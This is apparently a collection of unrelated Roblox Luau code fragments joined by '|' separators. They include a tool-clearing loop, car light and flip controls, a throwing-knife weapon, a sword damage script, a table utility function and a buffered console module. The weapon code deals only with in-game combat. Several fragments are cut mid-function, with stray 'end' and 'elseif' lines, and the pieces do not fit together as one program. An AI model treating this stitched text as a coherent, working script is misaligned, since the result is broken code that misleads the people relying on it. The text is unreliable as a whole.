for _, player in pairs(Players:GetPlayers()) do
if player.Character then
-- Remove the force field from the character
local forceField = player.Character:FindFirstChild("WaitingForceField")
if forceField then
forceField:Destroy()
end
-- Remove all equipped tools that are not the building tool
for _, instance in pairs(player.Character:GetChildren()) do
if instance:IsA("Tool") then
instance:Destroy()
end
end
end
-- Remove all tools from the player's backpack that are not the building tool
for _, instance in pairs(player.Backpack:GetChildren()) do
if instance:IsA("Tool") then
instance:Destroy()
end
end
end
end
|
---Misc
|
function Misc()
local function GetHelp()
local a=false
for i=1,9 do
a=not a
wait(.2)
if a then
script.Parent.Help.Style=Enum.ButtonStyle.RobloxRoundDropdownButton
else
script.Parent.Help.Style=Enum.ButtonStyle.RobloxRoundDefaultButton
end
end
end
GetHelp()
script.Parent.Help.MouseButton1Click:connect(function()
script.Parent.Controls.Visible=not script.Parent.Controls.Visible
end)
script.Parent:WaitForChild("Light")
local light=0
local function Light(on)
for i,v in pairs(car.Body.Lights:GetChildren()) do
if v:FindFirstChild("Light")~=nil then
v.Light.Enabled=on
end
if on and v.BrickColor~=BrickColor.new("Really black") then
v.Material=Enum.Material.Neon
else
v.Material=Enum.Material.SmoothPlastic
end
end
end
local function AutoLight()
if light==0 then
if (game.Lighting:GetMinutesAfterMidnight()<390 or game.Lighting:GetMinutesAfterMidnight()>1050) then
Light(true)
else
Light(false)
end
end
end
script.Parent.Light.MouseButton1Click:connect(function()
if light==1 then
light=-1
else
light=light+1
end
if light==0 then
script.Parent.Light.Text="Lights: Auto"
if game.Lighting:GetMinutesAfterMidnight()<390 or game.Lighting:GetMinutesAfterMidnight()>1050 then
Light(true)
else
Light(false)
end
elseif light==1 then
script.Parent.Light.Text="Lights: On"
Light(true)
else
script.Parent.Light.Text="Lights: Off"
Light(false)
end
end)
local function BrakeLights()
for i,v in pairs(car.Body.Lights:GetChildren()) do
if v.Name=="R" then
if v.Light.Enabled then
if GBrake>0 then
v.Transparency=0
v.Light.Brightness=12
else
v.Transparency=.3
v.Light.Brightness=8
end
else
if GBrake>0 then
v.Material=Enum.Material.Neon
else
v.Material=Enum.Material.SmoothPlastic
end
end
end
end
end
game.Lighting.Changed:connect(AutoLight)
AutoLight()
local FlipWait=tick()
local FlipDB=false
local function FlipCar()
local gyro = car.DriveSeat.Flip
gyro.maxTorque = Vector3.new(10000,0,10000)
gyro.P=3000
gyro.D=500
wait(2)
gyro.maxTorque = Vector3.new(0,0,0)
gyro.P=0
gyro.D=0
FlipDB=false
end
local function GetFlip()
if (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then
FlipWait=tick()
else
if tick()-FlipWait>=3 then
FlipDB=true
FlipCar()
end
end
end
--run:BindToRenderStep("BrakeL",Enum.RenderPriority.Last.Value,BrakeLights)
--run:BindToRenderStep("Flip",Enum.RenderPriority.Last.Value,GetFlip)
--table.insert(Binded,"BrakeL")
--table.insert(Binded,"Flip")
table.insert(LoopRun,BrakeLights)
table.insert(LoopRun,GetFlip)
end
Misc()
|
--Knife Module Script
--MatrixComplexity
|
wait(.2)
local tool=script.Parent
local player=game.Players.LocalPlayer
local char=player.Character
local humanoid=char:FindFirstChild("Humanoid")
local camera=workspace.CurrentCamera
local rightC1 = CFrame.new(-0.5, 0.7, 0) * CFrame.Angles(0, (math.pi / 2), 0)
local leftC1 = CFrame.new(0, 0.7, 0) * CFrame.Angles(0, (math.pi / 2), 0)
local mouse=player:GetMouse()
local equipping=false
local gettingknife=false
local laserCharge=false
local playcharge=false
local justthrown=false
local canLaser=false
local justattacked=false
local thrownkniferotation=0
local Damage=110
local Attacking=false
local handle=nil
local WalkSpeeds={16,20}
SOUNDS={
throwing={"153647554","153647549"},
laserthrowing={"138499093"},
shouts={"241084057","168209314","131076695"},
striking={"153647529","153647534","153647539","153647540"},
equip="153647514",
wallhit={"153647563","153647564"},
hitplayer={"153647516","153647519","153647522","153647526"},
deaths={"146594640","146457047","146594648"},
}
SETTINGS={
tool={
mesh_id="http://www.roblox.com/asset/?id=121944778",
mesh_type=Enum.MeshType.FileMesh,
texture_id="http://www.roblox.com/asset/?id=121944805 ",
mesh_offset=Vector3.new(0,0,0),
mesh_scale=.9,
tool_size=Vector3.new(1,1,1),
tool_transparency=0,
tool_color=BrickColor.Black(),
default_tool_size=1,
},
}
function DamageObject(hit)
local char=hit.Parent
if char and char~=player.Character and char.Name~="Arms_Model" and hit.Name~="Handle" then
local h=char:FindFirstChild("Humanoid")
if h and h.Health > 0 then
h:TakeDamage(Damage)
PlaySound("Hit1",char.Torso)
if h.Health == 0 then
PlaySound("Hit2",char.Torso)
end
end
end
end
function PlaySound(name,ctorso)
if name=="Throw" then
tool.Handle.Sound.SoundId = "rbxassetid://" .. SOUNDS.throwing[math.random(1,#SOUNDS.throwing)]
tool.Handle.Sound:Play()
elseif name=="ThrowLaser" then
tool.Handle.Sound.SoundId = "rbxassetid://" .. SOUNDS.laserthrowing[math.random(1,#SOUNDS.laserthrowing)]
tool.Handle.Sound:Play()
elseif name=="Equip" then
tool.Handle.Sound.SoundId = "rbxassetid://" .. SOUNDS.equip
tool.Handle.Sound:Play()
elseif name=="Swing" then
tool.Handle.Sound.SoundId = "rbxassetid://" .. SOUNDS.striking[math.random(1,#SOUNDS.striking)]
tool.Handle.Sound:Play()
elseif name=="Hit1" then
local NewSound=tool.Handle.Sound:clone()
NewSound.Parent=ctorso
NewSound.SoundId = "rbxassetid://" .. SOUNDS.hitplayer[math.random(1,#SOUNDS.hitplayer)]
NewSound:Play()
NewSound:Destroy()
elseif name=="Hit2" then
local NewSound=tool.Handle.Sound:clone()
NewSound.Parent=ctorso
NewSound.SoundId = "rbxassetid://" .. SOUNDS.deaths[math.random(1,#SOUNDS.deaths)]
NewSound:Play()
NewSound:Destroy()
elseif name=="Laser" then
local NewSound=tool.Handle.Sound
NewSound.SoundId = "rbxassetid://" .. SOUNDS.shouts[math.random(1,#SOUNDS.shouts)]
NewSound:Play()
end
end
function Throwtool(dPos)
if not tool.Handle then return end
local throwingHandle = tool.Handle:Clone()
game:GetService("Debris"):AddItem(throwingHandle, 5)
throwingHandle.Transparency=0
throwingHandle.Parent = workspace
if player.Character and player.Character.Humanoid then
throwingHandle.Velocity = (player.Character.Humanoid.TargetPoint - throwingHandle.CFrame.p).unit * 150
if canLaser then
throwingHandle.Velocity = (player.Character.Humanoid.TargetPoint - throwingHandle.CFrame.p).unit * 9999
end
if mouse.Target ~= nil then
if mouse.Target.Parent.Name~="Arms_Model" and mouse.Target.Name~="ThrownKnife" and mouse.Target.Name~="Handle" then
targetpos=player.Character.Humanoid.TargetPoint
else
targetpos=Vector3.new(0,-10 ,0)
end
end
-- set the orientation to the direction it is being thrown in
throwingHandle.CFrame = CFrame.new(throwingHandle.CFrame.p, throwingHandle.CFrame.p + throwingHandle.Velocity) * CFrame.Angles(0, 0, math.rad(-90))
local floatingForce = Instance.new('BodyForce', throwingHandle)
floatingForce.force = Vector3.new(0, 196.2 * throwingHandle:GetMass() * 0.98, 0)
local spin = Instance.new('BodyAngularVelocity', throwingHandle)
spin.angularvelocity = throwingHandle.CFrame:vectorToWorldSpace(Vector3.new(0, -400, 0))
spawnPos=player.Character.PrimaryPart.Position
spawnPos = spawnPos + dPos*5
if canLaser then
local Ray = Ray.new(tool.Handle.CFrame.p,(mouse.Hit.p - tool.Handle.CFrame.p).unit * 999)
local Hit,Position = game.Workspace:FindPartOnRay(Ray,char)
if Hit then
if Hit.Parent:FindFirstChild("Humanoid") then
Hit.Parent.Humanoid:TakeDamage(110)
laserCharge=true
end end
local RayPart = Instance.new("Part",workspace)
RayPart.Name = "RayPart"
RayPart.BrickColor = BrickColor.new("Bright red")
RayPart.Transparency = 0
RayPart.Anchored = true
RayPart.CanCollide = false
RayPart.TopSurface = Enum.SurfaceType.Smooth
RayPart.BottomSurface = Enum.SurfaceType.Smooth
RayPart.formFactor = Enum.FormFactor.Custom
local Distance = (Position-tool.Handle.CFrame.p).magnitude
RayPart.Size = Vector3.new(0.2,0.2,Distance)
RayPart.CFrame = CFrame.new(Position,tool.Handle.CFrame.p) * CFrame.new(0,0,-Distance/2)
game.Debris:addItem(RayPart,.5)
PlaySound("Laser")
end
end
if throwingHandle then
local touchedConn = throwingHandle.Touched:connect(function(hit)
local char=hit.Parent
camera.CameraSubject=humanoid
camera.CameraType=Enum.CameraType.Custom
if char and char~=player.Character and char.Name~="Arms_Model" and hit.Name~="Handle" and hit.Name~="RayPart" then
local h=char:FindFirstChild("Humanoid")
if h and h.Health > 0 then
throwingHandle:Destroy()
laserCharge=true
if hit.Name~="Head" or hit.className=="Hat" then
h:TakeDamage(Damage)
PlaySound("Hit1",char.Torso)
if h.Health == 0 then
PlaySound("Hit2",char.Torso)
end
else
h:TakeDamage(Damage * 2)
print("Headshot!")
char.Head.Transparency=1
char.Head.CanCollide=false
if char.Head:FindFirstChild("face") then char.Head:FindFirstChild("face").Transparency=1 end
for _,v in pairs(char:GetChildren()) do
if v.className=="Hat" then
v:Destroy()
end
end
for i = 1, 7 do
local blood=Instance.new("Part")
blood.FormFactor="Custom"
blood.Size=Vector3.new(1,.2,1)
blood.BrickColor=BrickColor.Red()
blood.TopSurface=0
blood.BottomSurface=0
game:GetService("Debris"):AddItem(blood,5)
blood.Parent=workspace
blood.Position=char.Head.Position + Vector3.new(math.random(0.2,0.8),0,math.random(0.2,0.8))
end
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://142347633"
sound.Parent=char.Head
sound.Pitch=1.1
sound:Play()
end
PlaySound("Hit1")
if h.Health == 0 then
PlaySound("Hit2")
end
elseif hit.Name~="Handle" or hit.Name~="IgnoreThrowingKnives" and hit.Parent.Name~="Arms_Model" and hit.Name~="RayPart" and hit.CanCollide==true then
local sound=Instance.new("Sound")
sound.Parent=hit
sound.SoundId = "rbxassetid://" .. SOUNDS.wallhit[math.random(1,#SOUNDS.wallhit)]
sound:Play()
sound:Destroy()
print("Hit Object: " .. hit.Name)
local newknife=tool.Handle:clone()
newknife.Name="ThrownKnife"
newknife.CFrame = CFrame.new(spawnPos, spawnPos + dPos) * CFrame.Angles(math.pi/-2, 0, 0)
newknife.Position = targetpos
throwingHandle:Destroy()
newknife.Anchored=true
newknife.CanCollide=true
newknife.Transparency=0
newknife.Parent=workspace
wait(7)
for i=1,10 do
newknife.Transparency=i*.1
wait()
end
newknife:Destroy()
end
end
end)
end
end
-- must check if it still exists since we waited
if throwingHandle then
throwingHandle.CanCollide = true
end
FUNCTIONS={
CHECKFORFIRSTPERSON=function()
if (camera.focus.p - camera.CoordinateFrame.p).magnitude > 1 then
return false
else
return true
end
end,
ANIMS=function(state)
if state then
mouse.Icon="http://www.roblox.com/asset/?id=54019936"
--Start Animation
local mesh=Instance.new("FileMesh")
mesh.MeshId=SETTINGS.tool.mesh_id
mesh.TextureId=SETTINGS.tool.texture_id
mesh.Scale=Vector3.new(SETTINGS.tool.mesh_scale,SETTINGS.tool.mesh_scale,SETTINGS.tool.mesh_scale)
mesh.Parent=tool.Handle
if SETTINGS.tool.mesh_scale==.1 then
tool.GripPos = Vector3.new(0, -0.55, 0)
elseif SETTINGS.tool.mesh_scale==.2 then
tool.GripPos = Vector3.new(0, -0.6, 0)
elseif SETTINGS.tool.mesh_scale==.3 then
tool.GripPos = Vector3.new(0, -0.65, 0)
elseif SETTINGS.tool.mesh_scale==.4 then
tool.GripPos = Vector3.new(0, -0.7, 0)
elseif SETTINGS.tool.mesh_scale==.5 then
tool.GripPos = Vector3.new(0, -0.75, 0)
elseif SETTINGS.tool.mesh_scale==.6 then
tool.GripPos = Vector3.new(0, -0.8, 0)
elseif SETTINGS.tool.mesh_scale==.7 then
tool.GripPos = Vector3.new(0, -0.85, 0)
elseif SETTINGS.tool.mesh_scale==.8 then
tool.GripPos = Vector3.new(0, -0.9, 0)
elseif SETTINGS.tool.mesh_scale==.9 then
tool.GripPos = Vector3.new(0, -0.95, 0)
elseif SETTINGS.tool.mesh_scale==1 then
tool.GripPos = Vector3.new(0, -1, 0)
else
print("Invalid tool size! Set to default: " .. SETTINGS.tool.default_tool_size )
mesh.Scale=Vector3.new(SETTINGS.tool.default_tool_size,SETTINGS.tool.default_tool_size,SETTINGS.tool.default_tool_size)
if SETTINGS.tool.default_tool_size==.1 then
tool.GripPos = Vector3.new(0, -0.55, 0)
elseif SETTINGS.tool.default_tool_size==.2 then
tool.GripPos = Vector3.new(0, -0.6, 0)
elseif SETTINGS.tool.default_tool_size==.3 then
tool.GripPos = Vector3.new(0, -0.65, 0)
elseif SETTINGS.tool.default_tool_size==.4 then
tool.GripPos = Vector3.new(0, -0.7, 0)
elseif SETTINGS.tool.default_tool_size==.5 then
tool.GripPos = Vector3.new(0, -0.75, 0)
elseif SETTINGS.tool.default_tool_size==.6 then
tool.GripPos = Vector3.new(0, -0.8, 0)
elseif SETTINGS.tool.default_tool_size==.7 then
tool.GripPos = Vector3.new(0, -0.85, 0)
elseif SETTINGS.tool.default_tool_size==.8 then
tool.GripPos = Vector3.new(0, -0.9, 0)
elseif SETTINGS.tool.default_tool_size==.9 then
tool.GripPos = Vector3.new(0, -0.95, 0)
elseif SETTINGS.tool.default_tool_size==1 then
tool.GripPos = Vector3.new(0, -1, 0)
else
print("Invalid default size! Un-equipping and removing Knife...")
if humanoid then
humanoid:Unequiptools()
tool:Destroy()
end
end
end
torso=char:FindFirstChild("Torso")
leftarm=torso:FindFirstChild("Left Shoulder")
if leftarm then
leftarm.Parent=nil
newarmweld=Instance.new("Weld")
newarmweld.Name="LeftWeld"
newarmweld.Part0=torso
newarmweld.C0 = CFrame.new(-1.5, 0.7, 0)
newarmweld.C1 = CFrame.new(0, 0.7, 0)
newarmweld.Part1=char:FindFirstChild("Left Arm")
newarmweld.Parent=torso
end
humanoid.WalkSpeed=WalkSpeeds[2]
for i = 1, 15, 3 do
if equipped then
torso:FindFirstChild("Right Shoulder").C1 = rightC1 * CFrame.Angles((-i * (math.pi / 90)),(-i * (math.pi / 90)),(i * (math.pi / 210)))
torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.2, .7, 0) * CFrame.Angles((-i * (math.pi / 60)),(i * (math.pi / 90)),(-i * (math.pi / 240)))
end
wait()
end
else
humanoid.WalkSpeed=WalkSpeeds[1]
torso:FindFirstChild("Right Shoulder").C1 = rightC1 * CFrame.new(0,-0.2,0)
tool.GripForward = Vector3.new(0,0,-1)
newarmweld:Destroy()
leftarm.Parent=torso
mouse.Icon=""
torso:FindFirstChild("Neck").C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
torso:FindFirstChild("Right Shoulder").C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
end
end
}
tool.Equipped:connect(function ()
equipped=true
PlaySound("Equip")
FUNCTIONS.ANIMS(true)
end)
tool.Unequipped:connect(function ()
equipped=false
FUNCTIONS.ANIMS(false)
end)
tool.Handle.Touched:connect(function (hit)
if Attacking then
DamageObject(hit)
end
end)
tool.Activated:connect(function ()
if Attacking then return end
if not tool.Enabled then return end
justthrown=false
justattacked=false
if not gettingknife and not justthrown and not Attacking then
HeldTime=time()
end
playcharge=true
wait(.15)
while gettingknife do
wait()
end
local speed=1
for i = 1, 15, speed do
if playcharge and equipped and not gettingknife and not justthrown and not Attacking then
torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.5, 0.5, 0, 0.195277825, -0.747909963, 0.634426773, 0.482016951, 0.636551082, 0.602048457, -0.854123056, 0.188237742, 0.484809577) * CFrame.Angles((i * (math.pi / 50)), 0, (-i * (math.pi / 25)))
torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.2, .7, 0, 0.858912528, 0.165011853, 0.484809607, -0.464581847, 0.649385393, 0.602048457, -0.215483144, -0.742340684, 0.634426773) * CFrame.Angles((-i * (math.pi / 75)),(i * (math.pi / 180)),0)
player.Character["Right Arm"].RightGrip.C1 = CFrame.new(0, -0.800000012, 0.05, 1, 0, 0, 0, 1, 0, 0, 0, 1) * CFrame.Angles((-i * (math.pi / 150)),0,0)
wait()
end
end
if playcharge then
canLaser=true
end
end)
tool.Deactivated:connect(function ()
if not tool.Enabled then return end
currTime=time()
playcharge=false
if HeldTime and currTime - HeldTime > 0.2 and
currTime - HeldTime > 0.01 and not justthrown and not gettingknife then
if not Attacking and not justattacked then
print("Throw")
if canLaser then
PlaySound("ThrowLaser")
else
PlaySound("Throw")
end
tool.Handle.Transparency=1
local targetPos = player.Character.Humanoid.TargetPoint
local lookAt = (targetPos - player.Character.PrimaryPart.Position).unit
local switchEvenOddParity = 1
local angle = math.ceil((1-1)/2)*math.pi/12*switchEvenOddParity
Throwtool(CFrame.Angles(0, angle, 0) * lookAt)
wait()
canLaser=false
HeldTime=0
gettingknife=true
mouse.Icon="http://www.roblox.com/asset/?id=54020165"
player.Character["Right Arm"].RightGrip.C1 = CFrame.new(0, -0.800000012, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)
for i = 1, 15, .8 do
if equipped then
torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.5, 0.5, 0, 0.0719629526, 0.22870943, 0.970831275, -0.981789052, 0.187819958, 0.0285283029, -0.175816804, -0.955204487, 0.238060504) * CFrame.Angles(0, 0, (i * (math.pi / 15)))
torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.2, 0.7, 0, 0.703028679, -0.151466534, 0.694844246, -0.673604906, 0.171488613, 0.718921423, -0.228050426, -0.973472893, 0.0185328126) * CFrame.Angles((i * (math.pi / 60)),(-i * (math.pi / 180)),(i * (math.pi / 60)))
wait()
end
end
justthrown=true
tool.Handle.Transparency=0
PlaySound("Equip")
mouse.Icon="http://www.roblox.com/asset/?id=54019936"
tool.GripForward = Vector3.new(0,0,-1)
for i = 1, 15, 1 do
if equipped then
torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.5, 0.5, 0, -0.071962975, -0.22870943, 0.970831275, 0.981789052, -0.187820047, 0.0285283029, 0.175816894, 0.955204487, 0.238060504) * CFrame.Angles(0, 0, (-i * (math.pi / 30)))
wait()
end
end
gettingknife=false
for i = 1, 15, 3 do
if equipped then
torso:FindFirstChild("Right Shoulder").C1 = rightC1 * CFrame.Angles((-i * (math.pi / 90)),(-i * (math.pi / 90)),(i * (math.pi / 210)))
torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.2, .7, 0) * CFrame.Angles((-i * (math.pi / 60)),(i * (math.pi / 90)),(-i * (math.pi / 240)))
end
wait()
end
end
else
if not justthrown and not gettingknife then
if Attacking then return end
print("Attack")
HeldTime=0
Attacking=true
justattacked=true
if math.random(1,2)==1 then
for i = 1, 15, 3 do
if equipped and not gettingknife and not justthrown then
torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.5, 0.5, 0, 0.195277825, -0.747909963, 0.634426773, 0.482016951, 0.636551082, 0.602048457, -0.854123056, 0.188237742, 0.484809577) * CFrame.Angles((i * (math.pi / 65)), 0, (-i * (math.pi / 30)))
torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.2, .7, 0, 0.858912528, 0.165011853, 0.484809607, -0.464581847, 0.649385393, 0.602048457, -0.215483144, -0.742340684, 0.634426773) * CFrame.Angles((-i * (math.pi / 75)),(i * (math.pi / 180)),0)
wait()
end
end
PlaySound("Swing")
for i = 1, 15, 3 do
if equipped and not gettingknife and not justthrown then
torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.5, 0.5, 0, 0.0719629526, 0.22870943, 0.970831275, -0.981789052, 0.187819958, 0.0285283029, -0.175816804, -0.955204487, 0.238060504) * CFrame.Angles(0, 0, (i * (math.pi / 15)))
torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.2, 0.7, 0, 0.703028679, -0.151466534, 0.694844246, -0.673604906, 0.171488613, 0.718921423, -0.228050426, -0.973472893, 0.0185328126) * CFrame.Angles((i * (math.pi / 60)),(-i * (math.pi / 180)),(i * (math.pi / 60)))
wait()
end
end
for i = 1, 15, 3 do
if equipped and not justthrown and not gettingknife then
torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.5, 0.5, 0, -0.071962975, -0.22870943, 0.970831275, 0.981789052, -0.187820047, 0.0285283029, 0.175816894, 0.955204487, 0.238060504) * CFrame.Angles(0, 0, (-i * (math.pi / 30)))
wait()
end
end
for i = 1, 15, 3 do
equipping=true
if equipped and not gettingknife and not justthrown then
torso:FindFirstChild("Right Shoulder").C1 = rightC1 * CFrame.Angles((-i * (math.pi / 90)),(-i * (math.pi / 90)),(i * (math.pi / 210)))
torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.2, .7, 0) * CFrame.Angles((-i * (math.pi / 60)),(i * (math.pi / 90)),(-i * (math.pi / 240)))
end
wait()
end
Attacking=false
else
for i = 1, 15, 3 do
if equipped and not gettingknife and not justthrown then
torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.3, 0.5, 0, 0.195277825, -0.747909963, 0.634426773, 0.482016951, 0.636551082, 0.602048457, -0.854123056, 0.188237742, 0.484809577) * CFrame.Angles((i * (math.pi / 40)),(-i * (math.pi / 45)),(i * (math.pi / 60)))
end
wait()
end
PlaySound("Swing")
for i = 1, 15, 3 do
if equipped and not gettingknife and not justthrown then
torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.2, 0.5, -.3, 0.852928281, -0.428775758, 0.29776603, 0.516928136, 0.614185035, -0.596290231, 0.0727913082, 0.662516415, 0.745502114) * CFrame.Angles((-i * (math.pi / 45)),0,0)
torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.200000003, 0.7, 0, 0.849384904, 0.16895318, 0.5, -0.48470962, 0.624545038, 0.612372398, -0.208810255, -0.762494743, 0.612372398) * CFrame.Angles((i * (math.pi / 60)),(-i * (math.pi / 180)),(i * (math.pi / 60)))
end
wait()
end
for i = 1, 15, 3 do
if equipped and not gettingknife and not justthrown then
torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.3, 0.5, -0.300000012, 0.852928281, -0.472260833, -0.222447708, 0.516928136, 0.82349503, 0.233754784, 0.0727913082, -0.314365625, 0.946507096) * CFrame.Angles((i * (math.pi / 45)),0,0)
end
wait()
end
for i = 1, 15, 3 do
if equipped and not gettingknife and not justthrown then
torso:FindFirstChild("Right Shoulder").C1 = rightC1 * CFrame.Angles((-i * (math.pi / 90)),(-i * (math.pi / 90)),(i * (math.pi / 210)))
torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.2, .7, 0) * CFrame.Angles((-i * (math.pi / 60)),(i * (math.pi / 90)),(-i * (math.pi / 240)))
end
wait()
end
Attacking=false
end
end
end
end)
mouse.Move:connect(function ()
if equipped and mouse then
if (mouse.Hit.p - mouse.Origin.p).unit.y < 0.25 and (mouse.Hit.p - mouse.Origin.p).unit.y > -0.25 then
torso:FindFirstChild("Right Shoulder").C0 = CFrame.new(.9,.5,0) * CFrame.Angles(0,math.rad(90),0) * CFrame.Angles(0, 0, math.asin((mouse.Hit.p - mouse.Origin.p).unit.y))
torso:FindFirstChild("LeftWeld").C0 = CFrame.new(-1.5,0.5,0) * CFrame.Angles(0, 0, math.asin((mouse.Hit.p - mouse.Origin.p).unit.y))
torso:FindFirstChild("Neck").C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(-90),0,math.rad(180)) * CFrame.Angles(math.asin(-(mouse.Hit.p - mouse.Origin.p).unit.y), 0, 0)
end
end
end)
|
------[SETTINGS]------
|
local DefaultSound = "Grass" -- The sound that will set as default if FloorMaterial is nil (cannot be found)
local ToggleAirSound = false -- Whether or not an air sound will sound when in the air
|
-- Copied from Grimgold Periastron Beta
|
local Tool = script.Parent
local Sword = Tool.Handle
local vCharacter
local myTorso
local myHumanoid
local equipped = false
local debris = game:GetService("Debris")
function tagHumanoid(humanoid, player)
if humanoid then
local creatorTag = Instance.new("ObjectValue")
creatorTag.Value = player
creatorTag.Name = "creator"
creatorTag.Parent = humanoid
debris:AddItem(creatorTag, 1)
end
end
function cut(hit)
local humanoid
local vPlayer
if hit and hit.Parent and myHumanoid then
if hit.Parent.className == "Hat" then
humanoid = hit.Parent.Parent:FindFirstChild("Humanoid")
else
humanoid = hit.Parent:FindFirstChild("Humanoid")
end
vPlayer = game.Players:GetPlayerFromCharacter(vCharacter)
if humanoid ~= nil and humanoid ~= myHumanoid then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(7.5)
end
end
end
function onEquipped()
vCharacter = Tool.Parent
myTorso = vCharacter:FindFirstChild("Torso")
myHumanoid = vCharacter:FindFirstChild("Humanoid")
end
Tool.Equipped:connect(onEquipped)
Sword.Touched:connect(cut)
|
-- print("Going Depth to Folder")
|
arraySoFar[obj.Name] = loadModules(obj, {})
elseif (obj:IsA("ModuleScript")) then
|
--[=[
@within TableUtil
@function Assign
@param target table
@param ... table
@return table
Copies all values of the given tables into the `target` table.
```lua
local t = {A = 10}
local t2 = {B = 20}
local t3 = {C = 30, D = 40}
local newT = TableUtil.Assign(t, t2, t3)
print(newT) --> {A = 10, B = 20, C = 30, D = 40}
```
]=]
|
local function Assign<T>(target: { T }, ...: { any }): { T } & { any }
local tbl = table.clone(target)
for _, src in { ... } do
for k, v in src do
tbl[k] = v
end
end
return tbl
end
|
-- ROBLOX FIXME LUAU: Casting to any to prevent unwanted type narrowing for write method
|
local BufferedConsole = setmetatable({}, { __index = Console }) :: any
BufferedConsole.__index = BufferedConsole
function BufferedConsole.new(): BufferedConsole
local self = setmetatable(
Console.new({
write = function(self, message)
BufferedConsole.write(((self :: any) :: BufferedConsolePrivate)._buffer, "log", message, nil)
return true
end,
} :: Writeable),
BufferedConsole
) :: any
self._buffer = {}
self._counters = {}
self._timers = {}
self._groupDepth = 0
self.Console = Console
return self :: BufferedConsole
end
function BufferedConsole.write(buffer: ConsoleBuffer, type: LogType, message: LogMessage, level: (number | nil)?)
local stackLevel = if level ~= nil then level else 2
local rawStack = ErrorWithStack.new(nil, BufferedConsole.write).stack
invariant(rawStack, "always have a stack trace")
local origin = Array.join(
Array.filter(Array.slice(String.split(rawStack :: string, "\n"), stackLevel), Boolean.toJSBoolean),
"\n"
)
table.insert(buffer, { message = message, origin = origin, type = type })
return buffer
end
function BufferedConsole:_log(type: LogType, message: LogMessage)
BufferedConsole.write(self._buffer, type :: any, (" "):rep(self._groupDepth) .. message, 3)
end
function BufferedConsole.assert(self: BufferedConsolePrivate, value: unknown, message: (string | Error)?)
xpcall(function()
assert(value)
end, function(error_)
local msg = ""
if message ~= nil then
msg = " " .. tostring(message)
end
self:_log("assert", tostring(error_) .. msg)
end)
end
function BufferedConsole.count(self: BufferedConsolePrivate, label_: string?)
local label: string = if label_ ~= nil then label_ else "default"
if self._counters[label] == nil then
self._counters[label] = 0
end
self._counters[label] += 1
self:_log("count", format("%s: %s", label, self._counters[label]))
end
function BufferedConsole.countReset(self: BufferedConsolePrivate, label_: string?)
local label: string = if label_ ~= nil then label_ else "default"
self._counters[label] = 0
end
function BufferedConsole.debug(self: BufferedConsolePrivate, firstArg: unknown, ...: any)
self:_log("debug", format(firstArg, ...))
end
function BufferedConsole.dir(self: BufferedConsolePrivate, firstArg: unknown, options_: InspectOptions?)
local options: InspectOptions = options_ or {}
local representation = inspect(firstArg, options)
self:_log("dir", formatWithOptions(options, representation))
end
function BufferedConsole.dirxml(self: BufferedConsolePrivate, firstArg: unknown, ...: any)
self:_log("dirxml", format(firstArg, ...))
end
function BufferedConsole.error(self: BufferedConsolePrivate, firstArg: unknown, ...: any)
self:_log("error", format(firstArg, ...))
end
function BufferedConsole.group(self: BufferedConsolePrivate, title: string?, ...: any)
local rest = { ... }
self._groupDepth += 1
if Boolean.toJSBoolean(title) or #rest > 0 then
self:_log("group", chalk.bold(format(title, ...)))
end
end
function BufferedConsole.groupCollapsed(self: BufferedConsolePrivate, title: string?, ...: any)
local rest = { ... }
self._groupDepth += 1
if Boolean.toJSBoolean(title) or #rest > 0 then
self:_log("groupCollapsed", chalk.bold(format(title, ...)))
end
end
function BufferedConsole.groupEnd(self: BufferedConsolePrivate)
if self._groupDepth > 0 then
self._groupDepth -= 1
end
end
function BufferedConsole.info(self: BufferedConsolePrivate, firstArg: unknown, ...: any)
self:_log("info", format(firstArg, ...))
end
function BufferedConsole.log(self: BufferedConsolePrivate, firstArg: unknown, ...: any)
self:_log("log", format(firstArg, ...))
end
function BufferedConsole.time(self: BufferedConsolePrivate, label_: string?)
local label: string = if label_ ~= nil then label_ else "default"
if Boolean.toJSBoolean(self._timers[label]) then
return
end
self._timers[label] = DateTime.now()
end
function BufferedConsole.timeEnd(self: BufferedConsolePrivate, label_: string?)
local label: string = if label_ ~= nil then label_ else "default"
local startTime = self._timers[label]
if Boolean.toJSBoolean(startTime) then
local endTime = DateTime.now()
local time = endTime.UnixTimestampMillis - startTime.UnixTimestampMillis
self:_log("time", format("%s: %s", label, formatTime(time)))
self._timers[label] = nil
end
end
function BufferedConsole.timeLog(self: BufferedConsolePrivate, label_: string?, ...: any)
local label: string = if label_ ~= nil then label_ else "default"
local startTime = self._timers[label]
if Boolean.toJSBoolean(startTime) then
local endTime = DateTime.now()
local time = endTime.UnixTimestampMillis - startTime.UnixTimestampMillis
self:_log("time", format("%s: %s", label, formatTime(time), ...))
end
end
function BufferedConsole.warn(self: BufferedConsolePrivate, firstArg: unknown, ...: any)
self:_log("warn", format(firstArg, ...))
end
function BufferedConsole.getBuffer(self: BufferedConsolePrivate): ConsoleBuffer?
return if #self._buffer > 0 then self._buffer else nil
end
function invariant(condition: unknown, message: string?)
if not Boolean.toJSBoolean(condition) then
error(Error.new(message))
end
end
exports.default = BufferedConsole
return exports
|
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